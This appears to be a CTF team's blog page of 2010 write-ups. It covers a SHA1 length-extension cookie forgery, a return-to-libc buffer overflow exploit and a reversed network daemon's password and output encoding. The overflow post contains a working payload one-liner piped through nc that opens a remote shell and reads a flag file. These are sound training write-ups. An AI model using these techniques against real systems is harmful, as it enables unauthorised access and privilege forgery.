CodeGate 2010 Challenge 15 – SHA1 padding attack

March 16, 2010 by RD · Leave a Comment 

Summary

This is a web based crypto challenge vulnerable to padding/length extension attack in its sha1 based authentication scheme.

Analysis

Challenge URL: http://ctf1.codegate.org/03c1e338b6445c0f127319f5cb69920a/web1.php

This page will ask for submitting a username for the first time. Once a username is submited ( ‘aaaa’ for example), the script will set a cookie as the following:

web1_auth = YWFhYXwx|8f5c14cc7c1cd461f35b190af57927d1c377997e

The first part YWFhYXwx is the base64 encoded string of ‘aaaa|1′ (username|role). The second part 8f5c14cc7c1cd461f35b190af57927d1c377997e is the sha1(unknown_secretkey + username + role).

In the next visit, the web1.php script will check for the cookie and return the following message

“Welcome back, aaaa! You are not the administrator.”

We can guest that 1 is the role value for normal user and 0 for administrator.

Solution

If we try to modify to first part of the web1_auth cookie to something like base64_encode(’aaaa|0′), the script will return an error message saying that the data has been tampered due to the wrong signature.

As we know that popular hash functions including sha1 are vulnerable to length extension (or padding) attacks. This can be used to break naive authentication schemes based on hash functions.

I will not write the detail on how to do sha1 length extension attack, you can read papers in the References section below for more information. Basically, with padding attack, we can append arbitrary data to the cookie and generate a valid signature for it without knowing the secret key. In this challenge, we want to have ‘|0′ (administrator role) at the end of the first part of the cookie.

$ python sha-padding.py
usage: sha-padding.py <keylen> <original_message> <original_signature> <text_to_append>

$ python sha-padding.py 25 ‘aaaa|1′ 8f5c14cc7c1cd461f35b190af57927d1c377997e ‘|0′
new msg: ‘aaaa|1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8|0′
base64: YWFhYXwxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4fDA=
new sig: 70f8bf57aa6d7faaa70ef17e763ef2578cb8d839

And here is what we got with the web1_auth cookie using YWFhYXwxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4fDA= and signature 70f8bf57aa6d7faaa70ef17e763ef2578cb8d839

Welcome back, aaaa! Congratulations! You did it! Here is your flag: CryptoNinjaCertified!!!!!

Source Codes

References

Keywords: sha1, padding, length extension attack, codegate 2010

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Codegate 2010 online CTF – Challenge 4 & 5 writeup

March 16, 2010 by longld · Leave a Comment 

Summary

Challenge 4 has a basic buffer overflow vulnerability running on modern Ubuntu Linux with ASLR. Challenge 5 shares the same code as Challenge 4 but added NX protection to make it harder. In challenge 4 we use ret2eax to by pass ASLR and return-to-libc technique to bypass NX in challenge 5 with brute-forcing for execl() libc address. We had to access to the server (hijack account of Challenge #2) to search for execl() address, it’s weakness of our solution for challenge 5.

Analysis

Challenge 4 information:

credentials: ctf4.codegate.org 9000
BINARY FILE:  http://ctf.codegate.org/files____/easy

Challenge 5 information:

credentials: ctf4.codegate.org 9001
BINARY FILE:  http://ctf.codegate.org/files____/harder

Both “easy” and  “harder” share the same code which looks like below:

int __cdecl main()
{
 size_t n; // [sp+18h] [bp-8h]@1
 char *lineptr; // [sp+1Ch] [bp-4h]@1

 lineptr = 0;
 printf("Input: ");
 fflush(0);
 getline(&lineptr, &n, stdin);
 func(lineptr, n);
 return puts("\nThanks. Goodbye");
}

void *__cdecl func(const void *src, size_t n)
{
 char dest[264]; // [sp+10h] [bp-108h]@1
 return memcpy(dest, src, n);
}

The traditional BOF at memcpy() in func() with 272 bytes allows us to overwrite the saved EIP to control program execution. Exploit for “easy” is obvious, you can find a writeup here, remain of this post will talk about Challenge 5.

The problem for exploiting ‘harder’ is to bypass:

  • ASLR
  • NX protection

We will use return-to-libc technique to overcome that.

Solution/Exploit

In order to exploit the “harder” we have to:

  • Locate address of execl() function in libc
  • Locate address of “/bin/sh” somewhere in memory
  • Arrange stack to call execl(”/bin/sh”, …) when return from func()

Locate address of execl()

Based on our experience in Padocon 2010 pre-qual, we know that random mmap library address will repeat after several run.

$ gdb harder
(gdb) start
Temporary breakpoint 1, 0x0804850e in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x1a70c0 <execl>
(gdb) quit

Locate address of “/bin/sh”

There’s several way to find “/bin/sh” pointer according to other contestants discussed in #codegate IRC:

  • Find “/bin/sh” address in RO_DATA of libc
  • Put “/bin/sh” in our input buffer then find stack address that points to it (address of “dest” in func())
  • Put “/bin/sh” in our input buffer then re-use “*lineptr” (already point to our buffer) remain in stack. This is our method.

Let examine the stack when we’re in func():

(gdb) disass func
Dump of assembler code for function func:
0x080484e4 <func+0>:    push   ebp
0x080484e5 <func+1>:    mov    ebp,esp
0x080484e7 <func+3>:    sub    esp,0x118
0x080484ed <func+9>:    mov    eax,DWORD PTR [ebp+0xc]      <-- n
0x080484f0 <func+12>:   mov    DWORD PTR [esp+0x8],eax
0x080484f4 <func+16>:   mov    eax,DWORD PTR [ebp+0x8]      <-- src's address (*lineptr)
0x080484f7 <func+19>:   mov    DWORD PTR [esp+0x4],eax
0x080484fb <func+23>:   lea    eax,[ebp-0x108]              <-- dest's address
0x08048501 <func+29>:   mov    DWORD PTR [esp],eax
0x08048504 <func+32>:   call   0x80483f8 <memcpy@plt>
0x08048509 <func+37>:   leave
0x0804850a <func+38>:   ret
End of assembler dump.

(gdb) b *0x08048504
Breakpoint 1 at 0x8048504
(gdb) r
Starting program: /tmp/harder
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x08048504 in func ()
(gdb) x/20x $ebp
0xbffff738:     0xbffff768      0x08048568      0x0804b008      0x00000078
                                                [*lineptr] (2)
0xbffff748:     0x00d5b420      0xbffff768      0x00c49345      0x006c2d20
0xbffff758:     0x00000078      0x0804b008      0x08048590      0x00000000
                                [*lineptr] (1)  [garbage str]
0xbffff768:     0xbffff7e8      0x00c30b56      0x00000001      0xbffff814
0xbffff778:     0xbffff81c      0xb7fff858      0xbffff7d0      0xffffffff

(gdb) x/8x 0x0804b008
0x804b008:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b018:      0x41414141      0x41414141      0x41414141      0x41414141

Address of *lineptr is 0×0804b008 which point to our buffer. There’s two instances of *lineptr address on stack: (1) returned from getline(), (2) placed before calling func(). The (2) address is useless because it’s next to ret, the (1) address with next 2 addresses 0×08048590, 0×00000000 is perfect for execl(). What we need to do is lift the esp to correct address with few ret.

Arrange buffer & stack

With all the things above, we can craft our buffer as below:

["/bin/sh" | padding | ret*6 | execl() | "\n"]

This will result on stack when return from func():

[ret*6 | execl() | 0xdeadbeef | "/bin/sh" | "garbage string" | 0 ]

Exploit

while true; do
 (python -c 'print "/bin/sh\x00" + "A"*260 + "\x75\x85\x04\x08"*6 + "\xc0\x70\x1a\x00" + "\n"'; cat) | nc ctf4.codegate.org 9001
done
Input:
Input:
Input:

id
uid=1004(harder) gid=1004(harder)
cat /home/harder/flag.txt
e2e4cb6adc9cd761dcde774f84529591  -

References

Keywords: return-to-libc, aslr, esp lifting, codegate 2010

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

We got 2nd place at CodeGate 2010 Prequal

March 16, 2010 by admin · Leave a Comment 

Just a quick post to announce that our CLGT CTF team has finished 2nd place at CodeGate 2010 Capture the Flag Prequal. It was a nice game with some very interesting challenges.

The final ranking could be found here

CodeGate 2010 prequal ranking

We will post our write up on our blog soon.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

HITB Daemon1 Solution

January 20, 2010 by suto · 1 Comment 

Here is my next solution for HITB CTF 2009 Daemon1. Similar to daemon 6, the flag is the content of errorcode.txt file located in the same directory with daemon’s binary.

home suto # netstat -tulpan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN   6174/daemon1

So you can see it listens on port 4444. Next I tried to find where the daemon processes my input.

.text:080494F1                 push    eax
.text:080494F2                 call    _recv
.text:080494F7                 add     esp, 10h
.text:080494FA                 cmp     eax, 0
.text:080494FD                 jle     loc_80495D2
.text:08049503                 push    esi
.text:08049504                 push    eax
.text:08049505                 lea     esi, [ebp-538h]
.text:0804950B                 push    esi
.text:0804950C                 mov     ecx, [ebp-548h]
.text:08049512                 push    ecx
.text:08049513                 call    sub_804A2B0
.text:08049518                 mov     eax, offset aIcvykbmukcrwdp ; &quot;iCvYkBMuKcrwDPkAqmCFgOKVeV34&quot;
.text:0804951D                 mov     ecx, 1Ch
.text:08049522                 cld
.text:08049523                 mov     esi, [ebp-560h]
.text:08049529                 mov     edi, eax
.text:0804952B                 repe cmpsb
.text:0804952D                 setnbe  dl
.text:08049530                 setb    al
.text:08049533                 add     esp, 10h
.text:08049536                 cmp     dl, al
.text:08049538                 jnz     loc_80495FF
.text:0804953E                 call    sub_8048F10
.text:08049543                 push    0
.text:08049545                 sub     esp, 8
.text:08049548                 push    offset s
.text:0804954D                 call    _strlen
.text:08049552                 add     esp, 0Ch
.text:08049555                 push    eax
.text:08049556                 push    offset s
.text:0804955B
.text:0804955B loc_804955B:                            ; CODE XREF: .text:08049608j
.text:0804955B                 mov     edx, [ebp-548h]
.text:08049561                 push    edx
.text:08049562                 call    _send

And here is what sub_8048F10 does:

lea     edi, [ebp+var_40]
mov     esi, offset unk_80553D2
mov     ecx, edx
rep movsd
mov     ax, ds:word_80553EA
mov     [edi], ax
push    (offset aSocketError+0Bh) ; modes
push    offset filename ; &quot;/home/d1/errorcode.txt&quot;
call    _fopen
&lt;snip&gt;

The code compares “iCvYkBMuKcrwDPkAqmCFgOKVeV34” with the input string. If it’s matched, the encrypted content of errorcode.txt will be returned.

home suto #nc localhost 4444

iCvYkBMuKcrwDPkAqmCFgOKVeV34

ddddddddddPfddddfdssqpfdddddddddhfh

“ddddddddddPfddddfdssqpfdddddddddhfh” is the return data. It’s the encrypted content of errorcode.txt (which is “1″ in this case).

After few hours trying to reverse the binary, I got stuck with the encoding algorithm so I tried to analysis the output data instead.

Input: 1
Ouput: ddddddddddPfddddfdssqpfdddddddddhfh

Input: 2
Output: ddddddddddPfdddddfdssqpfhfh

Input: 3
Output: ddddddddddPfdddddfdssqpfdhfh

Input: 4
Output: ddddddddddPfdddddfdssqpfddhfh

==>Output string begins with ddddddddddPfdddddfdssqpf and ends with hfh, number 1 is the special case.

9
ddddddddddPfdddddfdssqpfdddddddhfh

Next, we test with 2 numbers:

24
ddddddddddPfdddddfdssqpfhddhfh

3 numbers:

247
ddddddddddPfdddddfdssqpfhddhdddhfh

We can see that the string with red color is the same as the output for 24, and the green part is addition part for 7, so I guess h is character to begin a new number, let’s see with 6 numbers:

247398
ddddddddddPfdddddfdssqpfhddhdddhqqqqhddddddhqhfh

Now the algorithm is more clear :), the length of input number is the number of ‘h’ in the encoded data + 1 (we don’t count the last ‘hfh’). But how about q and d?

From 247398:
ddddddddddPfdddddfdssqpfhddhdddhqqqqhddddddhqhfh
4 is hdd
7 is hddd
3 is hqqqq
9 is hdddddd
8 is hq

Yeah! when the next number is increased, it uses a d for +1 (7 = 4 + 3 = hddd).
q is used for decrease (-1).

35896742
ddddddddddPfdddddfdssqp fd[3] hdd[5] hddd[8] hd[9] hqqq[6] hd[7] hqqq[4] hqq[2]hfh

Why 3? You answer yourself !

Now we come back to special cases for number 1 and 0

358967421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhdhqqqhqqhfdddddddddhfh

Here is output for 35896742
ddddddddddPfdddddfdssqpfdhddhdddhdhqqqhdhqqqhqqhfh

The different parts are marked with Red color.

Put 1 in the middle:
3589617421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhfdddddddddhsdhqqqhqqhfhfh

358967421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhdhqqqhqqhfdddddddddhfh

35896742

ddddddddddPfdddddfdssqpfdhddhdddhdhqqqhdhqqqhqqhfh

So the output will be fdddddddddh for number 1. If 1 is in the middle, it will be dddfds.
And another notes is hsd , one “d” character because it is calculated from the number before “1″ – 6- and increases it to -7-.

Another test:

4668981445134
ddddddddddPfdddddfddddfdsssqpfdd(4)hdd(6)h(6)hdd(8)hd(9)hq(8)hfddddddddd(1)hsqqqq(4)h(4)

hd(5) hf(1)hs qq(3) hd(4) hffh

Now replace the number 1 with 0 from previous input:

ddddddddddPfdddddfddddfdsssqpfdd(4)hdd(6)h(6)hdd(8)hd(9)hq(8)hfdddddddd(0)hsqqqq(4)h(4)hd(5)

hf(0)hsqq(3) hd(4)hffh

We see 0 is quite similar to 1 with one ‘d’ less.

Now it’s just a simple task to decode the return content of errorcode.txt (flag) from the daemon.

And it’s all about daemon1 in HITB CTF 2009!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

New Blog.

December 19, 2009 by Xwings · Leave a Comment 

This will be my official blog.

More updates …. soon.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Next Page »